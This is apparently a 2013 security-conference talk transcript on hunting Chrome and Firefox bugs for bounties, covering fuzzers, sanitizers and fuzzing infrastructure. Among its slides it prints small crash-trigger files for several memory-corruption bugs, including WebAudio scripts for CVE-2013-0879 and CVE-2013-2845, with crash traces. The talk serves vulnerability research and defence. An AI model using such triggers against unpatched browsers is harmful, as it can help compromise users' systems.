44con 2013 - browser bug hunting - memoirs of a last man standing - atte kettunen
DESCRIPTION
Just like drinking is not a game in Finland; neither is browser bug hunting - it’s serious business! Browser bugs have been supporting Atte Kettunen (@attekett) traditional Finnish way of living since late 2011 and he’s going to tell you all about how he has been living the dream browser bug hunting - focusing on one of the most secure browser around, Google Chrome! He’ll tell you a tale of his experiences with bounty programs and how those have evolved since he started way back (vendors can show the love too!) and how he’s managed to survive in the harsh environment of browser bug hunting. He’ll impart some important bug hunting social skills by showing you how and how NOT to step on the others guys toes - very competitive cottage industry is browser bug hunting. ;) Atte is also going to share with you how and why he selected his current target feature *(still full of bugs!), how he built his fuzzer-module(s) and the results produced. We’ll all walk a mile in a bug hunters shoes together and take a peek at the tool sets, as well as the infrastructures that are used to find browser bugs by individuals and vendors!TRANSCRIPT
Browser Bug HuntingMemoirs of a last man standing
Atte Kettunen (@attekett)OUSPG
https://code.google.com/p/ouspg/
Picture by @dominic_sim
Started at OUSPG in summer 2011
First security bug from Chrome 2011-12
Since then ~100 Vulns~60 Rewards 39 CVEs
Atte Kettunen
Mozilla since 2004 - Sec-High/Critical $3,000
Google since 2010 - Typical security bugs $1,000-$3,133.7
- Possibility for bonus rewards● PoC, exploit, awesomeness
(Microsoft 2013 June 25 - July 25)
Browser Bug Bounty Programs
Easy to get started - Lots of bugs \o/
Helpful vendor security teams and supportive responses to first bug submissions
Supportive (secretive/competitive) community of other bounty hunters
Browser Bug Bounty Programs
● Use-after-free○ DOM○ CSS○ Rendering
● Buffer-overflow○ Media formats○ Parsers○ Decoders○ Coordinates
Where the bugs are
AddressSanitizer - global-buffer-overflow - READ of size 2 #0 nsCharTraits<unsigned short>::length() #1 nsAString_internal::Assign()
.Repro-file:
<link rel="stylesheet" href="data:text/css;charset=utf-16,p#two%1%7Bbackground-color%65535A%3B%7D%0D%0A"/>
Some bug - CVE-2012-4185 - Firefox
AddressSanitizer - heap-use-after-free - READ of size 2 #0 WebCore::nextBreakablePosition() #1 ...::RenderBlock::LineBreaker::nextLineBreak() .Repro-file:<html><body><ruby>
<q style="column-gap:2;">a</ruby><cite style="word-break: break-all;">a<q style="text-transform:uppercase;">a<sup style="text-overflow:ellipsis;"></body></html>
Some bug - Regression - Chrome
==3213== ERROR: AddressSanitizer heap-buffer-overflow on address 0x7f50cd6ffcf8 at pc 0x7f50dd159dde bp 0x7fff3e0accd0 sp 0x7fff3e0accc8READ of size 2 at 0x7f50cd6ffcf8 thread T0 #0 0x7f.de in WebCore::CSSParser::lex(void*) ???:0 #1 0x7f.78 in cssyyparse(void*) ???:0 #2 0x7f.40 in WebCore::CSSParser::parseDeclaration().
Repro-file:<a style=top:-1px>
Some bug - Regression - Chrome
Three golden rules:
Hunting for living
Three golden rules:
1. Stay green
Hunting for living
Three golden rules:
1. Stay green - Features
2. Stay green
Hunting for living
Three golden rules:
1. Stay green - Features
2. Stay green - Competition
3. Stay green
Hunting for living
Three golden rules:
1. Stay green - Features
2. Stay green - Competition
3. Stay green - Tools
Hunting for living
1. Stay green - Features● New features are published all the time
○ New code \o/
● Some changes are not highlighted○ Minor updates to JavaScript API support etc.
● Old bugs fixed○ New code \o/
● Old features can change○ Prefixes disappear(-webkit,-moz), ○ Features can get disabled
Hunting for living
1. Stay Green - Features
● Firefox Aurora - Release note: "Partial support for Web Audio, targeted at web developers for testing" (May 17, 2013)
Hunting for living
2. Stay green - Competition
● Tools○ Different approach -> Different bugs?
● Targets○ Find new minefields
● Platforms○ Different code on different platforms
Hunting for living
2. Stay green - Competition
@cevans: "@j00ru has melted polar ice with his PDF fuzzing on 9k cores."
Hunting for living
3. Stay green - Tools
● Instrumentations○ New instrumentation -> detect new issues
● Build environments○ Broken builds @#!¤#...
● Fuzzers○ New techniques
Hunting for living
3. Stay green - Tools<Q>: WTF??? On Chromium startup:==25254== ERROR: AddressSanitizer: global-buffer-overflow on address 0x000011d3dde5 at pc 0x5ab21a bp 0x7fff00659450 sp 0x7fff00659428READ of size 10 at 0x000011d3dde5 thread T0 #0 0x5ab219 in __interceptor_memcmp _asan_rtl_ #1 0xa1edc08 in fillInUnixFile .../sqlite/amalgamation/sqlite3.c:28654 #2 0xa1efe7c in unixOpen .../sqlite/amalgamation/sqlite3.c:29294<A>: Diff of /trunk/tools/build/scripts/slave/runtest.py:+ # Avoid aggressive memcmp checks until http://crbug.com/178677 is fixed.+ os.environ['ASAN_OPTIONS'] = 'strict_memcmp=0'
Hunting for living
● Instrumentation
● Fuzzers
● Hardware/Infrastructure
Tools
● Clang compiler plugin
● Adds instrumentation to check memory access at runtime
● Similar to Valgrind
● Only 2x slowdown
● Created at Google
● Used by Google & Mozilla
● Linux & OS X● http://www.chromium.org/developers/testing/addresssanitizer
AddressSanitizer
● Awesome with use-after-frees
● Very good for buffer-overflows and out of bounds access
● Good but confused with type confusions
AddressSanitizer
==6==ERROR: AddressSanitizer: heap-use-after-free on address 0x6070000268d0 at pc 0x7f845771029f bp 0x7fff...2a0 sp 0x7fffc7eea298READ of size 8 at 0x6070000268d0 thread T0 (chrome) #0 0x7f845771029e (... /asan-linux-release-209136/chrome+0x96f229e) #1 0x7f84576aacea (... /asan-linux-release-209136/chrome+0x968ccea) #2 0x7f8451ce00f3 (... /asan-linux-release-209136/chrome+0x3cc20f3)
.0x6070000268d0 is located 64 bytes inside of 72-byte region [0x607000026890,0x6070000268d8)freed by thread T19 (AudioOutputDevi) here: #0 0x7f844f58e101 (... /asan-linux-release-209136/chrome+0x1570101) #1 0x7f845887b5ec (... /asan-linux-release-209136/chrome+0xa85d5ec)
.
AddressSanitizer
==6==ERROR: AddressSanitizer: heap-use-after-free on address 0x6070000268d0 at pc 0x7f845771029f bp 0x7fff...2a0 sp 0x7fffc7eea298READ of size 8 at 0x6070000268d0 thread T0 (chrome) #0 0x7f845771029e in WebCore::WaveShaperDSPKernel::lazyInitializeOversampling(...) .../WebKit/Source/wtf/OwnPtr.h:138 #1 0x7.a in WebCore::WaveShaperProcessor::setOversample(...) .../WebKit/Source/modules/webaudio/WaveShaperProcessor.cpp:70 .0x6070000268d0 is located 64 bytes inside of 72-byte region [0x607000026890,0x6070000268d8)freed by thread T19 (AudioOutputDevi) here: #0 0x7.1 in operator delete(void*) _asan_rtl_ #1 0x7.c in WebCore::AudioDSPKernelProcessor::uninitialize() src/third_party/WebKit/Source/wtf/OwnPtrCommon.h:47 .
AddressSanitizer
● Used to instrument binaries
● Redirects heap-related calls to own run-
time library
● Currently only heap-instrumentation
● Chrome/Chromium only atm.
● About 3x Slowdown
● Windows only● https://code.google.com/p/sawbuck/wiki/SyzyASanDesignDocument
SyzyASan
SyzyASAN error: heap-buffer-overflow on address 0x0379D1A7 (stack_id=0x44CB69D7)READ of size 8 at 0x0379D000 #0 0x000068ef23be in (unknown) #1 0x000068f387f4 in (unknown) #2 0x000068eeb486 in (unknown) #3 0x000068e8add7 in (unknown)...
SyzyASan
Bad access information: +0x000 alloc_stack : [62] 0x0f999970 Void +0x0f8 alloc_stack_size : 0x3c '<' +0x0fc alloc_tid : 0x14a8 +0x100 free_stack : [62] (null) +0x1f8 free_stack_size : 0 '' +0x1fc free_tid : 0 +0x200 error_type : 3 ( HEAP_BUFFER_OVERFLOW ) +0x204 access_mode : 0 ( ASAN_READ_ACCESS ) +0x208 access_size : 8 +0x20c shadow_info : [128] "06499E3F is 23 bytes beyond 384-byte block [06499CA8,06499E28)." +0x290 microseconds_since_free : 0
SyzyASan
Crash stack:chrome_dll!SkOpSegment::addTCoincident+0x18echrome_dll!SkOpContour::calcCoincidentWinding+0x9fchrome_dll!CoincidenceCheck+0x3c chrome_dll!Op+0x26a.Allocation stack:asan_rtl!asan_HeapAlloc+0x48chrome_dll!malloc+0x17chrome_dll!realloc+0x15chrome_dll!SkOpSegment::addT+0x9bchrome_dll!AddIntersectTs+0xcebchrome_dll!Op+0x244
SyzyASan
● Heap allocation monitoring for Windows
● No feedback - Only crash :(
● “Works” on Chrome/Chromium
● env: CHROME_ALLOCATOR="winheap"
● Enable Chrome error reporting ->
minidumps
● Firewall Chrome( No free 0-days for Google ;) )
● Debugging tools x86● http://www.chromium.org/developers/testing/page-heap-for-chrome
Page-Heap
ExceptionAddress: 564a0cd7 (chrome_..!WebCore::WaveShaperDSPKernel::lazyInitializeOversampling+0x0...06) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 27261fe4Attempt to read from address 27261fe4.STACK_TEXT: chrome_...!WebCore::WaveShaperDSPKernel::lazyInitializeOversampling+0x6 [...\webkit\source\modules\webaudio\waveshaperdspkernel.cpp @ 53]chrome_...!WebCore::WaveShaperProcessor::setOversample+0x29 .APPLICATION_FAULT_INVALID_POINTER_READ_chrome!WebCore::WaveShaperDSPKernel::lazyInitializeOversampling+6
Dump-analysis
● Dumb fuzzing ○ Yes, still works○ Yes, you can still find bugs with bit-flipping of
image-files
● Smart fuzzing ○ Finds bugs fast but runs out of bugs faster. :(
Fuzzers
Dumb fuzzing● Radamsa || Surku \o/
○ https://code.google.com/p/ouspg/
● Mutate old repros ( find ./src/ -type d -name *crashtest* | xargs ls; )
● Collect winnings
Fuzzers
Smart fuzzing● W3C/MDN(/MSDN)● Again stay green ● Most of the JavaScript APIs in
browsers are really similar● Some of the public tools have the logic
in them already● W3C spec + grep + sed = $$$
Fuzzers
Smart fuzzing
WebAudio API - PannerNode - Specification
interface PannerNode : AudioNode { void setPosition(double x, double y, double z); void setOrientation(double x, double y, double z); void setVelocity(double x, double y, double z);
attribute double refDistance; attribute double maxDistance; attribute double rolloffFactor;};
Fuzzers
Smart fuzzing
2D Canvas API - Specification // rectsvoid clearRect(unrestricted double x, unrestricted double y, unrestricted double w, unrestricted double h);void fillRect(unrestricted double x, unrestricted double y, unrestricted double w, unrestricted double h);
// shadowsattribute unrestricted double shadowOffsetX; // (default 0)attribute unrestricted double shadowOffsetY; // (default 0)attribute unrestricted double shadowBlur; // (default 0)
Fuzzers
Individuals:● Physical machines -> sysadmining <3
● SSD <3
● RAM++
● Vicious cycle of
Bug->Bounty->New HW->Bug->Bounty...
Hardware/Infrastructure
8x Dual Core CPU, 2GB ram, USB-stick, aka. Badgers
OUSPG - 2011
University HW:Badgers6x Quad core AMD A10, 16GB ram, SSD6x Dual Dual Core AMD antique, 8GB, 10k rpm
BYOD:4x Quad core i7-3770K, 16GB ram, SSDAnd additional 30+ cores misc hardware with 133.7+ GB of ram and bunch of SSDs
OUSPG - 2013
OUSPG - 2013
ClusterFuzz aka. CF
● Google fuzzing cluster● 2012 -
○ 6000 Chrome instances ○ 50m+ test cases per day○ Plans for quadrupling at that time
● ASAN, multiple fuzzers, minimization, regression ranges, verify fixes, dupes & dupes & dupes...
Hardware/Infrastructure
“cluster-fuzz is a soulless bug hunting machine. It has no want or need for your gratitude. It lives only to feed on bugs.”
ClusterFuzz
● 12 machines running 24/7
● ~50 cores, ~133.7GB of RAM
● approx. 20m test cases per day
● 19 file-formats
● git, scp, auto-update, auto-minimize
● Radamsa and ...
My stuff
● Browser fuzzer harness● Written in JavaScript ( Node.js ) ● Linux, Windows, OS X● Test case generators and instrumentations
loaded as modules● Uses WebSockets for test case injection to
browser● Stable - https://code.google.com/p/ouspg/downloads/list● Trunkish - https://github.com/attekett/NodeFuzz
NodeFuzz
Requirements: Google Chrome installed
$ sudo apt-get install nodejs
$ git clone https://github.com/attekett/NodeFuzz.git
$ cd NodeFuzz
$ npm install
$ vim config.js #Optional
$ node nodefuzz.js
NodeFuzz - Setup - Ubuntu
● Fairly new JS API (Chrome 2011, FF 2013)
● "The API has been designed to allow modular routing.(UAF) Basic audio operations are performed by audio nodes that are linked together to form an audio routing graphs.(UAF/BOF) Inside a same context, several sources are supported, with different kind of channel layout.(UAF/BOF) This modular design allows for great flexibility and for the creation of complex audio functions and of dynamic effects.(BOF)" - MDN
NodeFuzz - module - WebAudio
Bugs found:● Chrome - 4 UAF, 3 BOF● Firefox - 1 UAF, 8 BOF
NodeFuzz - module - WebAudio
CVE-2013-0879 - Chrome - BOF<script>try{var context= new webkitAudioContext()}catch(e){}try{var oscillator= context.createOscillator()}catch(e){}
try{oscillator.start(0.701,0.7,0.7)}catch(e){}
setInterval(function(){try{oscillator.connect(context.destination);}catch(e){}},4)
try{oscillator.stop(0.70)}catch(e){}</script>
NodeFuzz - module - WebAudio
CVE-2013-2845 - Chrome - UAF<script>var Context0= new webkitAudioContext()var Analyser0=Context0.createAnalyser();var WaveShaper0=Context0.createWaveShaper();var Convolver3=Context0.createConvolver();Analyser0.connect(WaveShaper0);WaveShaper0.connect(Context0.destination);Convolver3.connect(Analyser0);
setInterval(function(){Analyser0.disconnect();},4)</script>
NodeFuzz - module - WebAudio
DEMO!!!&&
Q&A